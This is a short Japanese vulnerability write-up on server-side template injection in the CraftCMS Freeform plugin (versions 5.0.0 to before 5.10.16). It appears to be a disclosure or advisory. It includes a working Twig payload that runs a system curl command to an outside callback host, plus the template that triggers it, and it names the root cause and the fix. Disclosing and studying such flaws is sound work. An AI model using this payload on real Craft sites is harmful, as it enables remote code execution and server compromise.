
CraftCMS Freeform 5.0.0 < 5.10.16 における任意コードインジェクション
CraftCMS Freeform には SSTI の脆弱性が存在し、フォーム(送信タイトル)の編集アクセス権を持つすべてのユーザーに対して任意のコードインジェクションが可能になります。
影響を受けるバージョンは v5.0.0 < v5.10.16 です。
フォームを作成:

ここでは概念実証としてフォーム「pentest」を作成しました。次に、設定で次の送信タイトルを設定します(ドメイン名は自分のサーバーに変更してください):
{{ 'system' | call('curl http://gwgyynafr4feu5xecukf1h2nqew5kw8l.oastify.com/rce') }}

これにより任意のシステムコールが実行されます。この例では、管理下にあるサーバーへ curl を実行し、着信接続があった場合に通知を受けるようにしています。 次に、このフォームをテンプレート/ページに含めて送信します:
<h1>test</h1>
{% set form = freeform.form('pentest') %}
{% if form %}
{{ form.render() }}
{% else %}
<p>Form not found.</p>
{% endif %}
これにより curl コマンドが呼び出されます。作成された受信 HTTP リクエストを確認することで検証できます:

この問題の根本原因は、Freeform がユーザー入力を検証せずに "call" Twig フィルターを実装していることです。これは次の コミット で修正されました。